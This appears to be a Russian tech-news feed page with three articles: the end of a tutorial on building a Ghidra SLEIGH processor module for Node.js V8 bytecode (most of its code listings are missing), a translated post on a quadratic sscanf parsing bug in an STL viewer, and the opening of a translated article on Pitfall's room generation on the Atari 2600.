LDEFS

Перейдем к определению языка это файл с расширением .ldefs. Он требует немного информации для оформления: порядок байт (у нас le), названия ключевых файлов (*.sla, *.pspec,*.cspec), id и название байткода, которое будет отображаться в списке поддерживаемых процессорных модулей при импорте файла в Ghidra. Если когда-то понадобится добавить процессорный модуль для файла, скомпилированного версией Node.js, существенно отличающейся от текущей, то имеет смысл описать его тут же через создание еще одного тега <language>, как это сделано для описания семейств процессоров в *.ldefs модулей, поставляемых в рамках Ghidra.

Практическое применение информации, не касающейся определения файлов, будет видно при попытке импорта файла.

PSPEC

Сложнее в плане документации дела обстоят со спецификацией процессора (файл с расширением .pspec). В данном случае можно обратиться к готовым решениям в рамках самого фреймворка или к файлу processor_spec.rxg (вариант с полноценным разбором исходных кодов Ghidra мы не рассматривали). Чего-то более подробного на момент написания модуля не было. Вероятно, со временем разработчики опубликуют официальную документацию.

В текущем проекте на данный момент от спецификации процессора может понадобиться только программный счетчик, оставим этот тег из стандартного шаблона свежесозданного проекта (на самом деле можно оставить <processor_spec> пустым).

SLASPEC

Теперь можно приступить к непосредственному описанию инструкций на SLEIGH в файле с расширением .slaspec.

Базовые определения и макросы препроцессора

Сначала при его описании необходимо указать порядок байтов. Также можно определить выравнивание и константы, которые могут понадобиться в процессе описания, через макросы препроцессора.

Адресные пространства, которые понадобятся для описания байткода (у нас создаются пространства с именами register и ram), определяются через define space, а регистры через define register. Значение offset в определении регистров не принципиально, главное, чтобы они находились по разным смещениям. Занимаемое регистрами количество байтов определяется параметром size. Стоит помнить, что определенная тут информация должна соответствовать обращениям к аналогичным абстракциям и величинам в рамках *.cspec и анализатора, если вы ссылаетесь на эти регистры.

Описание инструкций

В документации (https://ghidra.re/courses/languages/html/sleigh_constructors.html) можно прочитать, что определение инструкций происходит через таблицы, которые состоят из одного и более конструкторов и имеют имена идентификаторы символов семейства. Таблицы в SLEIGH по сути являются тем, что называется символами семейства, в статье мы не будем углубляться в определения символов, для этих целей проще прочитать Знакомство с символами. Конструкторы состоят из 5частей.

  1. Table Header (заголовок таблицы)

  2. Display Section (секция отображения)

  3. Bit Pattern Sections (секция битового шаблона)

  4. Disassembly Actions Section (секция действий при дизассемблировании инструкций)

  5. Semantics Actions Section (семантическая секция)

Пока что звучит страшно, опишем основной смысл.

  1. В Table Header либо помечается идентификатор, который можно использовать в других конструкторах, либо ничего нет (тогда это непосредственно описание инструкции).

  2. Display Section шаблон, показывающий как выводить инструкцию в листинг Ghidra.

  3. Bit Pattern Section перечень каких-либо идентификаторов, которые забирают реальные биты программы под инструкцию и выводятcя в листинг по шаблону секции отображения (иногда с использованием следующей секции).

  4. Disassembly Actions Section дополняет секцию битового шаблона какими-то вычислениями, если ее в чистом виде недостаточно.

  5. Semantics Actions Section описывает, что делает эта инструкция по смыслу, чтобы показать это в декомпиляторе.

Изначально существует корневая таблица инструкций (за ней закреплен идентификатор instruction), все описанные конструкторы с пустым заголовком таблицы становятся ее частью, а первый идентификатор этих конструкторов в секции отображения распознается как мнемоника инструкций.

Для конструкторов, имеющих идентификатор в заголовке таблицы, создается новая таблица с соответствующим именем. Если она уже существовала, конструктор становится частью той же таблицы, этот случай будет рассмотрен в разделе про диапазоны регистров. При использовании идентификатора этой таблицы в другой таблице он становится ее дополнительной частью. То есть создание таблиц, чьи идентификаторы нигде не используются (они никак не будут связаны с корневой таблицей инструкций), не имеет практического смысла.

Несколько документированных особенностей секции отображения, которые понадобятся дальше:

  • ^ разделяет идентификаторы и/или символы в секции, между которыми не должно быть пробелов;

  • используются, чтобы вставлять жестко закодированные строки, которые не будут считаться идентификатором;

  • пробельные символы обрезаются в начале и конце секции, а их последовательности сжимаются в один пробел;

  • некоторые знаки пунктуации и спецсимволы вставляются в шаблон (неиспользуемые для каких-то определенных функций, в отличие от, например#, которые применяются для комментариев).

Токены и их поля

Для описания конструкторов инструкций необходимо определить битовые поля. Через них осуществляется привязка битов программы к определенным абстракциям языка, в который будет происходить трансляция. Такими абстракциями могут быть мнемоники, операнды и т.п. Определение полей происходит в рамках задания токенов, синтаксис их определения выглядит так:

Размер токена tokenMaxSize должен быть кратен8. Это может быть неудобно, если операнды или какие-то нюансы для инструкции кодируются меньшим количеством бит. С другой стороны, это компенсируется возможностью создавать поля разных размеров, кодирующих позиционно любые биты в пределах размеров, задаваемых токеном. Для таких полей должны соблюдаться условия: start- и endBitNumX находятся в диапазоне от 0 до tokenMaxSize-1 включительно и startBitNumX <= endBitNumX.

Для разбираемого байткода v8 не было необходимости создавать поля, отличные по размеру от токена. Но, если бы такие поля были и использовались совместно, они бы объединялись через логические операторы & или |.

Обратите внимание: даже если вы используете поле или комбинацию полей в секции битового шаблона, не покрывающие своими битовыми масками полный размер токена, к которому они принадлежат, по факту из байтов программы под операнд все равно будет забираться количество бит, определяемое размером токена.

Теперь опишем простейшую инструкцию байткода, не имеющую операндов. Определим поле, которое будет описывать опкод инструкции. Как видно выше в разделе про v8, код инструкции описывается одним байтом (есть также Wide- и ExtraWide- инструкции, но они здесь не будут рассматриваться, по сути они просто используют операнды больших размеров и дополнительные байты под опкод инструкции). Таким образом получаем:

Теперь, используя поле op для идентификации первого и единственного опкода, определяющего инструкции Illegal и Nop, пишем для них конструкторы:

Байт 0xa7 в листинге Ghidra отобразит как инструкцию Illegal, не имеющую операндов. Для этой инструкции в примере использовалось ключевое слово unimpl. Это неимплементированная команда, дальнейшая декомпиляция будет прервана, что удобно для отслеживания нереализованных семантических описаний. Для Nop оставлена пустая семантическая секция, то есть команда не повлияет на отображение в декомпиляторе, что и должна делать эта инструкция. На самом деле Nop не присутствует как инструкция в Node.js нашей версии, мы ввели ее искусственно для реализации функционала SwitchOnSmiNoFeedback, но об этом будет рассказано в статье Владимира Кононовича.

Описываем операнды и семантику

Усложним концепцию: опишем конструктор для операций LdaSmi, в рамках которой происходит загрузка целого числа в аккумулятор (acc в определении пространства регистров), и AddSmi, которая по сути представляет собой сложение значения в аккумуляторе c целым числом.

Для текущих и будущих нужд определим чуть больше полей на манер операндов в bytecodes.h Node.js, создадим их в новом токене с именем operand, поскольку у этих полей будет другое назначение. Создание нескольких полей с одинаковыми битовыми масками может быть обусловлено как удобством восприятия, так и использованием нескольких полей одного токена в рамках одной инструкции (см. пример с AddSmi).

С точки зрения листинга хочется видеть что-то наподобие LdaSmi [-0х2]. Поэтому определяем в секции отображения мнемонику, а в шаблон прописываем имена полей, которые должны подставляться из секции disassembly action или битового шаблона (квадратные скобки тут не обязательны, это просто оформление).

Для инструкции AddSmi в секции битового шаблона, помимо поля op, устанавливающего ограничение на опкод, через ; появляются поля из токена operand. Они будут подставлены в секцию отображения в качестве операндов. Маппинг на реальные биты происходит в том порядке, в котором поля указаны в секции битового шаблона. В семантической секции, используя документированные операции, реализуем логику инструкций (то, что делал бы интерпретатор, выполняя эти инструкции).

Через ; могут также, например, идти регистры, контекстные переменные (о них поговорим позже), комбинации полей одного токена или полей с контекстными переменными.

Вот так выглядит окно листинга с описанными инструкциями со включенным полем PCode в меню изменение полей листинга Ghidra. Окно декомпилятора пока что не будет показательным из-за оптимизации кода, поэтому на данном этапе стоит ориентироваться только на промежуточный p-code.

В байткоде v8 инструкции, чьи мнемоники начинаются с lda, и так подразумевают загрузку значения в аккумулятор. Но при желании явно видеть регистр acc в инструкциях байткода можно определить его для отображения в конструкторе. В данном случае неважно, на какой позиции в секции битового шаблона находится acc, так как он не является полем и не занимает биты инструкции, но вписать его необходимо.

Инструкции возврата значения из функции реализуются с помощью ключевого слова return, и, как уже упоминалось ранее, чаще всего возвращение значения при вызове функции происходит через аккумулятор:

Выводим регистры по битовым маскам

В инструкциях, которые мы описывали выше, не используются регистры в качестве операндов. Теперь же реализуем конструктор инструкции Mul, в рамках которой происходит умножение аккумулятора на значение, сохраненное в регистре.

В разделе Базовые определения и макросы препроцессора регистры уже были объявлены, но для того, чтобы нужные регистры выбирались в зависимости от представленных в байткоде бит, необходимо привязать их список к соответствующим битовым маскам. Поле kReg имеет размер 8бит. Через конструкцию attach variables последовательно определяем каким битовым маскам от 0b до 11111111b вышеприведенные регистры будут соответствовать в рамках последующего использования полей из заданного списка (в нашем случае только kReg) в конструкторах. Например, в этом описании видно, что операнд, закодированный как 0xfb (11111011b), интерпретируется при описании его через kReg как регистр r0.

Теперь, когда за переменной kReg закреплены регистры, ее можно использовать в конструкторах:

Усложним конструкцию для соответствия конструктора более высокоуровневым описаниям инструкций из interpreter-generator.cc исходников Node.js. Вынесем поле kReg в отдельный конструктор, идентификатор таблицы которого в Table Header назовем src. В его семантической секции появляется новое ключевое слово export. Если не вдаваться в детали построения p-code, то по смыслу export определяет значение, которое должно быть подставлено в семантическую секцию конструктора вместо src. Вывод в Ghidra не изменится.

Примеры аналогичных с точки зрения описания инструкций, которые понадобятся позже для тестирования модуля на реальном файле:

Переходы по адресам с goto

В байткоде встречаются операции условного и безусловного перехода по смещению относительно текущего адреса. Для перехода по адресу или метке в SLEIGH используется ключевое слово goto. Примечательно для определения то, что в секции битового шаблона используется поле kUImm, однако оно не используется в чистом виде. В секцию отображения выводится просчитанное в disassembly action секции значение через идентификатор rel. Величина inst_start предопределена для SLEIGH и содержит адрес текущей инструкции.

Компиляция SLEIGH проходит. Правда, в таком варианте (листинг ниже), судя по выводу, не получается создать варноду (это объекты, которыми манипулирует p-code инструкция), содержащую привязку к конкретному пространству.

Воспользуемся рекомендуемым разработчиками способом и вынесем часть определения через создание дополнительного конструктора с идентификатором dest. Конструкция *[ram]:4 rel не обозначает, что мы берем 4байта по адресу rel. По факту экспортируется адрес rel в пространстве ram. Оператор * в SLEIGH обозначает разыменование, но в данном конкретном случае относится к нюансу создания варнод (подробнее в Dynamic References).

Указание пространства [ram] может быть опущено (пример в комментарии), так как при определении мы указали его пространством по умолчанию. Как видно в инструкциях p-code, смещение было помечено как принадлежащее ram.

Чуть сложнее выглядит инструкция JumpIfFalse из-за использования условной конструкции. В SLEIGH она используется вместе с ключевым словом goto. Для большего соответствия концепциям js величина False ранее была определена как регистр, и можно заметить, что в pspec диапазон пространства регистров, к которому она привязана, помечен как глобальный. Благодаря этому в псевдокоде она отображается в соответствии с именованием регистра, а не численным значением.

В рассмотренных примерах переход осуществляется по рассчитываемому относительно inst_start адресу. Рассмотрим инструкцию TestGreaterThan, в которой происходит переход с помощью goto к метке (<true> в примере ниже) и inst_next. Переход к метке в принципе должен быть интуитивно понятным: если условие истинно, то далее должны выполняться инструкции, следующие за местом ее расположения. Метка действительна в только в пределах ее семантической секции.

Конструкция goto inst_next фактически завершает обработку текущей инструкции и передает управление на следующую. Стоит обратить внимание, что для выполнения знакового сравнения используется s>, см. документацию.

Несколько регистровых операндов

В предыдущих инструкциях использовалось не более одного регистра в качестве операнда. Так что сначала поговорим об использовании большего количества регистров для этих целей.

Описание однотипных операндов через конструкторы, имеющие разные идентификаторы таблиц (см. конструкторы в примере ниже), может иметь практическое применение для использования в рамках одного конструктора корневой таблицы. Такой вариант применим не только с точки зрения соответствия описанию инструкций v8, но и для преодоления возможных ошибок. Например, 4операнда инструкции CallProperty2 являются регистрами, идентично задаваемыми с точки зрения битовой маски. Попытка определить конструктор как :CallProperty2 kReg, kReg, kReg, kReg, [kIdx] вызовет ошибку в компиляторе Sleigh при попытке открыть файл с помощью процессорного модуля. Поэтому в нашем модуле использовались конструкторы для создания чего-то наподобие алиасов:

Стоит отметить, конечно, что решить эту проблему также можно было без определения новых конструкторов. Например, определив и прописав поля callable, receiver, arg1 и arg2 в рамках какого-либо токена с последующей их привязкой через attach к списку регистров:

Каждое из этих полей работало бы аналогично kReg в предыдущих примерах. Какой именно способ использовать вопрос эстетики.

Вызовы функций

В инструкции CallProperty2 также примечательно то, что она в семантической секции использует конструкцию call [callable];, которую мы не использовали до этого. В v8 аргументы функции хранятся в регистрах aX (как мы и пометили в cspec). Однако, с точки зрения байткода, помещения туда аргументов непосредственно перед вызовом функции не происходит (случаи, когда это происходит, можно посмотреть в sinc-файле, например для x86). Интерпретатор делает это самостоятельно, ведь у него есть вся необходимая информация. Но ее нет у Ghidra, поэтому в семантической секции мы пропишем помещение аргументов в регистры вручную. Однако нам необходимо будет восстановить значения задействованных регистров после вызова, так как в вызывающей функции эти регистры тоже могут хранить какие-то значения, необходимые для потока выполнения. Можно сохранить их через локальные переменные:

Можно также применять вариант с сохранением аргументов в памяти (в данном случае на стеке: sp не используется инструкциями, потому не повлияет на отображение в декомпиляторе) при использовании макросов на примере CallUndefinedReceiver1:

При написании подобных модулей вместе с загрузчиком и анализатором стоит следить, чтобы порядок передаваемых аргументов совпадал с порядком аргументов функции, определяемых при их создании в java-коде. Также стоит отметить, что для нашей ситуации было полезно сохранять не больше аргументов функции, чем их количество в вызывающей функции, но это сложно реализовать на SLEIGH. Вариант решения проблемы можно будет прочитать в статье Вячеслава Москвина про внедрение p-code инструкций.

Определяемые пользователем операции

Чтобы не терять при декомпиляции инструкции, в которых не планируется или нет возможности описывать семантический раздел, можно использовать определяемые пользователем операции. Стоит отметить, что в ситуации с acc не требуется явно указывать размер, поскольку размер регистра определен явно, а использовать его не полностью тут не нужно. Однако при передаче в подобные пользовательские операции, например, числовых констант придется явно указывать размер передаваемого значения (как в примере с CallVariadicCallOther в разделе О диапазонах регистров далее по тексту). Пользовательские операции определяются как define pcodeop OperationName и используются в семантическом разделе конструкторов в формате, напоминающем вызов функции во многих языках программирования.

Эти операции могут использоваться для внедрения p-code-инструкций в анализаторе: вызовы добавляются через тег callotherfixup в cspec-файл и прописывается логика в анализаторе.

Без переопределения в java-коде пользовательские операции в декомпиляторе выглядят так же, как они определены в семантическом разделе:

Тестируем модуль

Уже на этом этапе можно попробовать проверить работу процессорного модуля на практике. Скомпилируем через bytenode jsc-файл из небольшого примера на js:

Попробуем запустить написанный на основании статьи проект и импортировать полученный jsc-файл в Ghidra. Если что-то описано неправильно, Ghidra выдаст ошибку, а в логах eclipse будет локализирован номер строки, вызвавшей ошибку. При исправлении кода не нужно перестраивать проект: sleigh перекомпилируется при следующей попытке открыть файл.

На всякий случай тут прикладываем архив с файлами, которые должны были получиться. Также можно посмотреть полную версию написанного инструмента в репозитории проекта.

Поскольку мы описывали только инструкции, файл не будет проанализирован и разобран по функциям. Код находится по смещению 0х1с0. НажмемD для преобразования байтов в инструкции по этому смещению иF, чтобы создать функцию. Вот так она будет выглядеть:

Более понятным становится вывод при использовании других средств (помимо SLEIGH), доступных разработчикам модулей. Например, при добавлении работы с пулом констант (для обращения к нему в SLEIGH зарезервировано ключевое слово cpool) появится возможность разрезолвить числовой идентификатор в команде LdaGlobal. Вот так в последней версии нашего проекта выглядит функция (для сравнения):

Разумеется, было бы приятнее видеть большее соответствие исходному коду, написанному на JavaScript, однако этого нельзя добиться, описывая инструкции только в файлах .slaspec (и .sinc). Чуть больший простор для воображения откроет статья, в которой будет описан механизм внедрения операций p-code, позволяющий при полном доступе ко всем ресурсам приложения манипулировать инструкциями, из которых собирается дерево p-code. Как раз на основании созданного дерева p-code результат декомпиляции выстраивается и отображается в интерфейсе.

О диапазонах регистров

В байткоде v8 для ряда инструкций реализована работа с диапазонами, парами и/или тройками регистров. С точки зрения кодирования диапазонов присутствует байткод первого регистра и количество используемых в диапазоне регистров. Для пар и троек указывается только начальный регистр, так как интерпретатору заранее известно, сколько регистров надо использовать для данной инструкции.

На основании описания понятно, что достаточно простым решением было бы отобразить при разборе инструкций первый регистр и их количество, то есть примерно так: ForInPrepare r9, r10!3. Чуть большим компромиссом в пользу читаемости было бы выводить первый и последний регистры диапазона, но, забегая вперед, можно сказать, что с точки зрения реализации уже это потребовало бы использования таблиц, состоящих из нескольких конструкторов.

Таблицы, содержащие несколько конструкторов

В рамках проекта для удобства восприятия было решено отображать в листинге весь список передаваемых регистров. Для секции отображения нет готового шаблона для выведения диапазонов регистров. Можно руководствоваться принципами, аналогичными использованным для процессорного модуля ARM: распечатыванием переменных через цепочку конструкторов (только сам принцип, реализация нам не подойдет из-за разности архитектур).

Тут наглядно видно тот самый случай, когда таблица с неким идентификатором состоит из нескольких конструкторов. По сути, это несколько конструкторов с одинаковыми идентификаторами в секции заголовка таблицы с разными условиями в секции битового шаблона. Выбираться при работе с идентификатором в других конструкторах будет наиболее подходящий по условию вариант. Например, если описан конструктор с неким условием и без условий, то при истинности условия будет выбран первый вариант, хотя второй формально ему не противоречит, поскольку не накладывает вообще никаких условий.

Как можно предположить, глядя на побайтовое описание инструкции CallProperty выше, для раскрытия диапазона необходимо распечатать регистры, отталкиваясь от первого вхождения, ориентируясь на известный первый регистр диапазона и количество элементов в нем. С точки зрения секции отображения, диапазон создается из двух конструкторов: rangeSrc и rangeDst. rangeSrc своего рода инициализация, где мы сохраняем входные данные, rangeDst будет распечатывать регистры на основании полученной информации. И как раз для rangeDst понадобится создавать таблицы, содержащие несколько конструкторов: как минимум для отображения диапазонов на регистрах aX и rX отдельно.

Для реализации условий необходимо учесть ряд ограничений. Проверять значения в секции битового шаблона рекомендуется только через =, а уточнять тут значение напрямую регистра нельзя, как и присваивать ему значения в секции disassembly action. Это лишает нас возможности использовать какой-то временный регистр. Стартовый регистр и длина диапазона могут быть любыми, а реализоваться, как уже упоминалось, диапазон может как на регистрах aX, так и на rX, а также быть нулевой длины. Уже на этом этапе понятно: если мы не хотим создавать гигантское количество определений на все случаи жизни, было бы неплохо иметь некие счетчики, чтобы выяснить, сколько регистров выводить и с какой позиции.

Контекстные переменные

Для решения задачи подходят контекстные переменные. Их определение похоже на определение полей токенов. Но поля в данном случае используют не реальные биты программы, а биты указанного регистра (contextreg ниже).

При записи через поля, определенные в регистре поверх одинаковых битовых диапазонов, значения будут перезатираться (в некоторых случаях не пройдет компиляция), поскольку это биты одного и того же регистра. У нас контекстные переменные counter и offStart используют разные битовые диапазоны в пределах регистра, так как по смыслу это разные значения.

Важно отметить, что контекстные переменные должны объявляться до конструкторов.

В документации поясняется, что контекстные переменные, как правило, используются в секции битовых шаблонов для проверки наличия какого-то контекста и изменяются в секции disassembly action. Так что в конструкторе с идентификатором таблицы rangeSrc, которую мы будем использовать для отображения диапазонов, в disassembly action секции сохраняем код первого регистра диапазона в контекстную переменную offStart, а их количество в counter. В секции отображения обозначаем начало диапазона открывающейся скобкой {.

Также стоит отметить, что в v8 не используется регистр range_size: он введен искусственно для хранения размера диапазона, чтобы было удобнее работать с этим значением в рамках семантической секции конструктора инструкции. Именно rangeSrc поставляет стартовый регистр и размер диапазона для семантической секции инструкции.

В рамках таблицы с идентификатором rangeDst описано 5конструкторов для следующих случаев.

  • Код стартового регистра диапазона соответствует a0 и счетчик counter равен 0 (пустой диапазон).

  • Код стартового регистра диапазона соответствует r0 и счетчик counter равен 0 (пустой диапазон).

  • Код регистра диапазона в offStart совпадает с a0, в disassembly action секции счетчик counter уменьшается, код регистра в offStart увеличивается, переход к конструктору rangedst1.

  • Код регистра диапазона в offStart совпадает с r0, в disassembly action секции счетчик counter и код регистра в offStart уменьшаются, переход к конструктору rangedst1.

  • Код стартового регистра диапазона пока не найден, переход к конструктору rangedst1(для этого случая в конструкторе нет никаких условий, как упоминалось выше, он будет браться, когда остальные конструкторы не подошли).

В третьем и четвертом случаях происходит вывод регистра в отображение. Последующие конструкторы rangeDstN, где N натуральное число, состоят из тех же вариантов, только для регистров aN/rN.

Стоит обратить внимание на секцию битового шаблона. При описании конструктора rangeSrc в рамках секции битового шаблона задействованы оба байта, идентифицирующих диапазон, то есть в рамках определения rangeDst нет потребности считывать какие-то биты байткода, так как они не будут относиться к описываемой конструкции. Для подобных ситуаций можно использовать предопределенный символ epsilon, соответствующий пустому битовому шаблону.

В примере ниже описаны только rangeDst, rangeDst1, rangeDst2, чтобы не загромождать статью. Для получения представления о виде подобных таблиц этого достаточно, полную версию можно посмотреть в исходниках проекта на github. По сути, при работе с rangeDst будет проходиться цепочка конструкторов по возрастанию индекса Х в rangeDstX, пока не встретится стартовый регистр, а затем цепочка конструкторов, соответствующая по длине размеру выводимого диапазона.

Конструкторы с закрывающими фигурными скобками выглядят похожими, можно попробовать их объединить. Вспоминаем про использование логических операторов & и |.

Конструктор для CallProperty в готовом проекте выглядит так:

Вот что получается в листинге:

Возможно, сейчас сбивает с толку, что в семантической секции используется пользовательская операция CallVariadicCallOther. В проекте на github она была переопределена в java-коде инструкциями p-code. Использование инъекции p-code вместо реализации через операцию call было обусловлено желанием видеть список передаваемых аргументов в декомпиляторе (согласно исходникам Node.js, первый регистр диапазона является приемником, а остальные передаваемыми аргументами). Используя только slaspec, добиться этого было бы, мягко говоря, тяжело:

Если есть желание попробовать повторить реализацию диапазонов самостоятельно, можно описать семантику как:

Затем по аналогии можно доопределить конструкторы rangeDstХ (понадобится до r7 включительно) и уже тогда попробовать посмотреть, как выглядит скомпилированный код console.log(1,2,3,4,5,6). Можно собрать его самостоятельно через bytenode или забрать готовый тут. Функция будет находиться по смещению 0x167, а сама инструкция на 0x18b.

В итоге инструкции, подразумевающие вызовы даже с постоянным количеством аргументов, были реализованы аналогичным образом для решения проблем, возникающих при декомпиляции, так как часто возникала путаница при подсчете количества аргументов из-за нюанса с инициализацией регистров аХ (она проявляется при запуске автоанализа, иногда встречается до сих пор и решается, как и при работе с другими архитектурами, путем изменения прототипа функции в декомпиляторе).

Стоит отметить, что в нашем проекте мы вынесли все конструкторы rangeDst в отдельный файл, чтобы не загромождать файл с описанием инструкций (как и расширенные инструкции, работающие операндами размером 2 и 4байта):

Итог

Разработанный процессорный модуль удовлетворяет требованиям, которые мы к нему предъявляли: инструмент дает возможность просматривать инструкции байткода для заданных функций файла, который необходимо было разбирать в рамках проекта. В качестве бонуса мы получили декомпилятор, пусть не идеальный, но позволяющий быстрее ориентироваться в логике приложения. Однако, как и при работе со многими процессорными модулями, в данном случае лучше сверяться непосредственно с инструкциями, а не слепо ему верить. Можно также отметить, что при наличии времени и желания улучшить инструмент стоит реализовать хранение типов, продумать концепцию импортов и устранить проблему с обратным порядком аргументов функций. Надеемся, это руководство упростит ваше погружение в написание процессорных модулей на языке SLEIGH.

Также хочется сказать большое спасибо за исследование Node.js и разработку модуля Вячеславу Москвину, Владимиру Кононовичу, Сергею Федонину.

Автор: Наталья Тляпова

Полезные ссылки:

  1. https://ghidra.re/courses/languages/html/sleigh.html документация на SLEIGH.

  2. https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Framework/SoftwareModeling/data/languages полезные файлы с описаниями *.cspec, *.pspec, *.opinion, *.ldefs.

  3. https://spinsel.dev/2020/06/17/ghidra-brainfuck-processor-1.htmlхорошая статья о реализации модуля для brainfuck в Ghidra.

  4. https://github.com/PositiveTechnologies/ghidra_nodejs репозиторий с полной версией процессорного модуля для Ghidra с загрузчиком и анализатором.

Подробнее..

Перевод Ошибку Rockstar может совершить каждый (и я тоже)

12.06.2021 16:15:59 | Автор: admin

Несколько месяцев назад в новостях всплыла потрясающая статья [переводы на Хабре: один и второй] о Grand Theft Auto Online.

Советую прочитать статью целиком, но если вкратце, GTA Online имела внезапно квадратичную производительность при парсинге большого JSON-блоба (из-за многократных вызовов strlen); после устранения этой ошибки время загрузки уменьшилось почти на 70%.

Это вызвало оживлённые дискуссии: в этом виноват C? Или, возможно, "web shit"? Или капитализм и его стимулы?

Однако все были солидарны в одном: они бы ни за что не написали подобной глупости.

(Вы уже чувствуете, что надвигается?)


Одним из моих побочных проектов является высокопроизводительная программа для просмотра 3D-моделей под названием Erizo.


Благодаря продуманному коду она открывает 97-мегабайтный двоичный файл STL на Macbook Pro 2013 года всего за 165 миллисекунд. Это потрясающая скорость.

Из соображений совместимости я написал небольшой парсер и для ASCII STL.

ASCII STL это формат обычного текста с плохой спецификацией, который выглядит вот так:

solid cube_corner          facet normal 0.0 -1.0 0.0            outer loop              vertex 0.0 0.0 0.0              vertex 1.0 0.0 0.0              vertex 0.0 0.0 1.0            endloop          endfacet          facet normal 0.0 0.0 -1.0            outer loop              vertex 0.0 0.0 0.0              vertex 0.0 1.0 0.0              vertex 1.0 0.0 0.0            endloop          endfacet          ...endsolid

Я написал чрезвычайно надёжный парсер, добавив в комментарий такое описание:

/*  Самый либеральный парсер ASCII STL: игнорирует всё, кроме *  слова 'vertex', а затем одно за другим считывает три значения float. */

Загрузка ASCII STL всегда казалась немного медленной, но я предполагал, что причина этого в неэффективном текстовом формате.

(Тучи сгущаются.)



За несколько дней произошло несколько событий:


Вот логи загрузки 1,5-мегабайтного ASCII STL метками времени (в секундах):

[erizo] (0.000000) main.c:10      | Startup![erizo] (0.162895) window.c:91    | Created window[erizo] (0.162900) window.c:95    | Made context current[erizo] (0.168715) window.c:103   | Initialized GLEW[erizo] (0.178329) window.c:91    | Created window[erizo] (0.178333) window.c:95    | Made context current[erizo] (1.818734) loader.c:109   | Parsed ASCII STL[erizo] (1.819471) loader.c:227   | Workers have deduplicated vertices[erizo] (1.819480) loader.c:237   | Got 5146 vertices (7982 triangles)[erizo] (1.819530) loader.c:240   | Waiting for buffer...[erizo] (1.819624) loader.c:326   | Allocated buffer[erizo] (1.819691) loader.c:253   | Sent buffers to worker threads[erizo] (1.819883) loader.c:258   | Joined worker threads[erizo] (1.819887) loader.c:279   | Loader thread done[erizo] (1.821291) instance.c:32  | Showed window

С момента запуска до отображения окна прошло больше 1,8 секунды!

Посмотрев на парсер ASCII свежим взглядом, я увидел, что причина очевидна:

    /*  The most liberal ASCII STL parser:  Ignore everything except     *  the word 'vertex', then read three floats after each one. */    const char VERTEX_STR[] = "vertex ";    while (1) {        data = strstr(data, VERTEX_STR);        if (!data) {            break;        }        /* Skip to the first character after 'vertex' */        data += strlen(VERTEX_STR);        for (unsigned i=0; i < 3; ++i) {            SKIP_WHILE(isspace);            float f;            const int r = sscanf(data, "%f", &f);            ABORT_IF(r == 0 || r == EOF, "Failed to parse float");            if (buf_size == buf_count) {                buf_size *= 2;                buffer = (float*)realloc(buffer, buf_size * sizeof(float));            }            buffer[buf_count++] = f;            SKIP_WHILE(!isspace);        }    }

Можно заметить, что в коде есть sscanf, считывающая одно значение float из начала потока данных и каждый раз проверяющая длину всей строки.

Да, я совершил ту же ошибку, что и программисты, работавшие над GTA Online: написал внезапно квадратичный парсер!

Замена вызова sscanf на вызов strtof снизила время загрузки почти в 10 раз: с 1,8 секунды до 199 миллисекунд.

[erizo] (0.000000) main.c:10      | Startup![erizo] (0.178082) window.c:91    | Created window[erizo] (0.178086) window.c:95    | Made context current[erizo] (0.184226) window.c:103   | Initialized GLEW[erizo] (0.194469) window.c:91    | Created window[erizo] (0.194472) window.c:95    | Made context current[erizo] (0.196126) loader.c:109   | Parsed ASCII STL[erizo] (0.196866) loader.c:227   | Workers have deduplicated vertices[erizo] (0.196871) loader.c:237   | Got 5146 vertices (7982 triangles)[erizo] (0.196921) loader.c:240   | Waiting for buffer...[erizo] (0.197013) loader.c:326   | Allocated buffer[erizo] (0.197082) loader.c:253   | Sent buffers to worker threads[erizo] (0.197303) loader.c:258   | Joined worker threads[erizo] (0.197306) loader.c:279   | Loader thread done[erizo] (0.199328) instance.c:32  | Showed window



Это стало идеальным напоминанием о том, что даже если программируешь много лет, ловушки находятся всегда. В документации sscanf не указана её временная сложность, поэтому это особо хитрый пистолет для выстрела себе в ногу, и мне кажется, что не один я блуждал во тьме невежества.

Возможно, вы сами не столкнётесь с подобным напоминанием, но всякий раз, когда вы будете читать потрясающую историю о плохом коде, помните это может случиться и с вами!

(Очевидно, мораль истории такова: не используйте sscanf для многократного парсинга одиночных токенов из начала строки; уверен, у вас всё будет нормально, если вы просто избежите этого.)



На правах рекламы


VDSina предлагает мощные и недорогие VPS с посуточной оплатой. Интернет-канал для каждого сервера 500 Мегабит, защита от DDoS-атак включена в тариф, возможность установить Windows, Linux или вообще ОС со своего образа, а ещё очень удобная панель управления серверами собственной разработки. Обязательно попробуйте!

Подробнее..

Перевод Как игре Pitfall для Atari удалось поместить 255 комнат в картридж на 4КБ

24.05.2021 10:16:39 | Автор: admin
Игры для Atari 2600 разрабатывались в условиях сильных ограничений. Когда Уоррен Робинетт продвигал идею, которая в дальнейшем станет игрой Adventure (в ней нужно исследовать мир из множества комнат и подбирать предметы, которые помогают игроку в пути), ему отказали, потому что посчитали, что её невозможно реализовать. И это было логично. Консоль появилась в конце 70-х; до Робинетта никто ещё не создавал игру с несколькими экранами. Это была эпоха Space Invaders и Pac Man, когда весь игровой мир постоянно находился у игрока перед глазами, поэтому то, что выпущенная в 1980 году Adventure состояла из 30 комнат, было весьма впечатляюще.


Первый экран игры Adventure. Игрок управляет точкой (которую Робинетт называл человеком).

Разработчикам даже пришлось объяснять эту концепцию в руководстве к игре:

Каждая область, показанная на экране телевизора, будет иметь один или несколько барьеров или стен, через которые вы НЕ можете проходить. Также там есть один или несколько проёмов. Чтобы перейти из одной области в соседнюю, выйдите с экрана телевизора через один из проёмов, и на экране появится соседняя область.

Наличие нескольких комнат было довольно большой инновацией, а то, что в Adventure удалось реализовать целых 30 комнат, стало настоящей революцией. Однако в созданной Дэвидом Крэйном и выпущенной в 1983 году Pitfall! таких комнат было 255, и каждая из них была более сложной (с точки зрения графики), чем любая комната Adventure. В статье я расскажу, как этого удалось добиться.

Примечание: в игре Superman было несколько комнат и её выпустили до Adventure, но она создавалась на основе кода Adventure.


Типичный экран Pitfall!

Но чтобы в полной мере осознать сложность реализации этого достижения, стоит рассказать о сложностях, с которыми сталкивались программисты игр для Atari. Сама консоль имела всего 128 байт ОЗУ. Это 1024 бит. Для сравнения: это предложение при кодировании в ASCII занимает больше места, не говоря уже о формате UTF, в котором оно на самом деле закодировано. Этого достаточно, чтобы показать, что в Atari было не так много памяти

